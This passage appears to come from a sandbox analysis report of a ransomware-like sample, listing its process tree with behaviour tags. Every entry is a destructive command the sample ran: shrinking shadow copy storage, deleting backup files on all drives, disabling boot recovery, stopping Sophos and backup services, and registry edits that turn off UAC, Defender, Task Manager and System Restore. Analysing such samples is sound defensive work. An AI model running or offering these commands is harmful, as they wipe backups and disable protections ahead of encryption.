        vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:4604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB
    3⤵
    PID:3032
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB
      4⤵
      PID:3568
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:4368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB
    3⤵
    PID:2520
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB
      4⤵
      PID:1672
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:1728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB
    3⤵
    PID:1560
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB
      4⤵
      PID:3672
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:4896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB
    3⤵
    PID:3188
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB
      4⤵
      PID:1020
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:1556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB
    3⤵
    PID:3720
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB
      4⤵
      PID:4024
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:1800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    PID:5024
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
      4⤵
      PID:848
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
        5⤵
        Interacts with shadow copies
        
        PID:3484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=D:\ /on=D:\ /maxsize=401MB
    3⤵
    PID:4372
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=D:\ /on=D:\ /maxsize=401MB
      4⤵
      PID:5052
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=D:\ /on=D:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:3004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB
    3⤵
    PID:2436
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB
      4⤵
      PID:4788
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB
    3⤵
    PID:2340
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB
      4⤵
      PID:4056
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB
        5⤵
        Enumerates connected drives
        Interacts with shadow copies
        
        PID:1552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop " Enterprise Client Service"
    3⤵
    PID:5332
  - - C:\Windows\system32\net.exe
      net stop " Enterprise Client Service"
      4⤵
      PID:5456
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop " Enterprise Client Service"
        5⤵
        
        PID:5532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos Agent"
    3⤵
    PID:5584
  - - C:\Windows\system32\net.exe
      net stop "Sophos Agent"
      4⤵
      PID:5624
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos Agent"
        5⤵
        
        PID:5640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q N:\*.bac N:\*.bak N:\Backup*.* N:\backup*.*
    3⤵
    PID:5660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q F:\*.bac F:\*.bak F:\Backup*.* F:\backup*.*
    3⤵
    PID:5668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q M:\*.bac M:\*.bak M:\Backup*.* M:\backup*.*
    3⤵
    PID:5684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q I:\*.bac I:\*.bak I:\Backup*.* I:\backup*.*
    3⤵
    PID:5692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q T:\*.bac T:\*.bak T:\Backup*.* T:\backup*.*
    3⤵
    PID:5700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q Z:\*.bac Z:\*.bak Z:\Backup*.* Z:\backup*.*
    3⤵
    PID:5716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q C:\*.bac C:\*.bak C:\Backup*.* C:\backup*.*
    3⤵
    PID:5724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q U:\*.bac U:\*.bak U:\Backup*.* U:\backup*.*
    3⤵
    PID:5732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q B:\*.bac B:\*.bak B:\Backup*.* B:\backup*.*
    3⤵
    PID:5740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q H:\*.bac H:\*.bak H:\Backup*.* H:\backup*.*
    3⤵
    PID:5772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q P:\*.bac P:\*.bak P:\Backup*.* P:\backup*.*
    3⤵
    PID:5820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q S:\*.bac S:\*.bak S:\Backup*.* S:\backup*.*
    3⤵
    PID:5828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q Y:\*.bac Y:\*.bak Y:\Backup*.* Y:\backup*.*
    3⤵
    PID:5840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q D:\*.bac D:\*.bak D:\Backup*.* D:\backup*.*
    3⤵
    PID:5880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q X:\*.bac X:\*.bak X:\Backup*.* X:\backup*.*
    3⤵
    PID:5888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q J:\*.bac J:\*.bak J:\Backup*.* J:\backup*.*
    3⤵
    PID:5896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q L:\*.bac L:\*.bak L:\Backup*.* L:\backup*.*
    3⤵
    PID:5916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q K:\*.bac K:\*.bak K:\Backup*.* K:\backup*.*
    3⤵
    PID:5944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q E:\*.bac E:\*.bak E:\Backup*.* E:\backup*.*
    3⤵
    PID:5988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q O:\*.bac O:\*.bak O:\Backup*.* O:\backup*.*
    3⤵
    PID:5996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q V:\*.bac V:\*.bak V:\Backup*.* V:\backup*.*
    3⤵
    PID:6012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q W:\*.bac W:\*.bak W:\Backup*.* W:\backup*.*
    3⤵
    PID:6020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q G:\*.bac G:\*.bak G:\Backup*.* G:\backup*.*
    3⤵
    PID:6028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q R:\*.bac R:\*.bak R:\Backup*.* R:\backup*.*
    3⤵
    PID:6040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q Q:\*.bac Q:\*.bak Q:\Backup*.* Q:\backup*.*
    3⤵
    PID:6052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:6068
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
      4⤵
      PID:3600
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos AutoUpdate Service"
    3⤵
    PID:6092
  - - C:\Windows\system32\net.exe
      net stop "Sophos AutoUpdate Service"
      4⤵
      PID:5564
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos AutoUpdate Service"
        5⤵
        
        PID:5336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del /s /f /q A:\*.bac A:\*.bak A:\Backup*.* A:\backup*.*
    3⤵
    PID:6108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos Clean Service"
    3⤵
    PID:308
  - - C:\Windows\system32\net.exe
      net stop "Sophos Clean Service"
      4⤵
      PID:4824
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos Clean Service"
        5⤵
        
        PID:4448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    PID:4916
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
      4⤵
      PID:3984
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:4400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos Device Control Service"
    3⤵
    PID:4444
  - - C:\Windows\system32\net.exe
      net stop "Sophos Device Control Service"
      4⤵
      PID:5192
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos Device Control Service"
        5⤵
        
        PID:2552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    PID:468
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:3700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos File Scanner Service"
    3⤵
    PID:4044
  - - C:\Windows\system32\net.exe
      net stop "Sophos File Scanner Service"
      4⤵
      PID:116
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos File Scanner Service"
        5⤵
        
        PID:3932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
    3⤵
    PID:3904
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
      4⤵
      PID:5288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos Health Service"
    3⤵
    PID:5132
  - - C:\Windows\system32\net.exe
      net stop "Sophos Health Service"
      4⤵
      PID:4212
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos Health Service"
        5⤵
        
        PID:3192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3484
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:2928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:2152
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:1196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos MCS Agent"
    3⤵
    PID:4808
  - - C:\Windows\system32\net.exe
      net stop "Sophos MCS Agent"
      4⤵
      PID:1048
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos MCS Agent"
        5⤵
        
        PID:3112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
    3⤵
    PID:5116
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
      4⤵
      PID:1556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos MCS Client"
    3⤵
    PID:1140
  - - C:\Windows\system32\net.exe
      net stop "Sophos MCS Client"
      4⤵
      PID:2260
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos MCS Client"
        5⤵
        
        PID:4056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
    3⤵
    PID:1480
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
      4⤵
      PID:1896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    PID:3964
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      PID:2480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos Message Router"
    3⤵
    PID:3228
  - - C:\Windows\system32\net.exe
      net stop "Sophos Message Router"
      4⤵
      PID:628
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos Message Router"
        5⤵
        
        PID:852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
    3⤵
    PID:1080
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
      4⤵
      PID:2044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos Safestore Service"
    3⤵
    PID:3856
  - - C:\Windows\system32\net.exe
      net stop "Sophos Safestore Service"
      4⤵
      PID:1832
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos Safestore Service"
        5⤵
        
        PID:2964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    PID:4676
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
      4⤵
      PID:5008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    PID:5364
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
      4⤵
      PID:4104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos System Protection Service"
    3⤵
    PID:3772
  - - C:\Windows\system32\net.exe
      net stop "Sophos System Protection Service"
      4⤵
      PID:4888
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos System Protection Service"
        5⤵
        
        PID:5252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
    3⤵
    PID:5372
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
      4⤵
      PID:2132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Sophos Web Control Service"
    3⤵
    PID:5220
  - - C:\Windows\system32\net.exe
      net stop "Sophos Web Control Service"
      4⤵
      PID:2376
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Sophos Web Control Service"
        5⤵
        
        PID:5260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
    3⤵
    PID:4988
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
      4⤵
      PID:4740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
    3⤵
    PID:2096
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
      4⤵
      PID:2344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "SQLsafe Backup Service"
    3⤵
    PID:1448
  - - C:\Windows\system32\net.exe
      net stop "SQLsafe Backup Service"
      4⤵
      PID:2156
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "SQLsafe Backup Service"
        5⤵
        
        PID:760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:5312
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
      4⤵
      PID:1728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "SQLsafe Filter Service"
    3⤵
    PID:5084
  - - C:\Windows\system32\net.exe
      net stop "SQLsafe Filter Service"
      4⤵
      PID:1168
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "SQLsafe Filter Service"
        5⤵
        
        PID:5420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
    3⤵
    PID:1848
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
      4⤵
      PID:932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
    3⤵
    PID:5080
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
      4⤵
      PID:4384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Symantec System Recovery"
    3⤵
    PID:5272
  - - C:\Windows\system32\net.exe
      net stop "Symantec System Recovery"
      4⤵
      PID:4512
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Symantec System Recovery"
        5⤵
        
        PID:4016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
    3⤵
    PID:5712
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
      4⤵
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Veeam Backup Catalog Data Service"
    3⤵
    PID:2900
  - - C:\Windows\system32\net.exe
      net stop "Veeam Backup Catalog Data Service"
      4⤵
      PID:2716
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service"
        5⤵
        
        PID:5848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
    3⤵
    PID:5644
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
      4⤵
      PID:5628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "AcronisAgent"
    3⤵
    PID:1388
  - - C:\Windows\system32\net.exe
      net stop "AcronisAgent"
      4⤵
      PID:1444
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "AcronisAgent"
        5⤵
        
        PID:4544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
    3⤵
    PID:3556
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
      4⤵
      PID:2944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
    3⤵
    PID:4964
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
      4⤵
      PID:4460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "AcrSch2Svc"
    3⤵
    PID:3532
  - - C:\Windows\system32\net.exe
      net stop "AcrSch2Svc"
      4⤵
      PID:2896
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "AcrSch2Svc"
        5⤵
        
        PID:3172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
    3⤵
    PID:5704
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
      4⤵
      PID:2072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "Antivirus"
    3⤵
    PID:4700
  - - C:\Windows\system32\net.exe
      net stop "Antivirus"
      4⤵
      PID:5776
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Antivirus"
        5⤵
        
        PID:1412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
    3⤵
    PID:3420
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
      4⤵
      PID:5688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
    3⤵
    PID:5780
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
      4⤵
      PID:2932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "BackupExecAgentAccelerator"
    3⤵
    PID:824
  - - C:\Windows\system32\net.exe
      net stop "BackupExecAgentAccelerator"
      4⤵
      PID:5696
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "BackupExecAgentAccelerator"
        5⤵
        
        PID:1380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
    3⤵
    PID:5812
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
      4⤵
      PID:3184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop "BackupExecAgentBrowser"
    3⤵
    PID:5064
  - - C:\Windows\system32\net.exe
      net stop "BackupExecAgentBrowser"
      4⤵
      PID:3032
    - - C:\Windows\system32\net1.exe
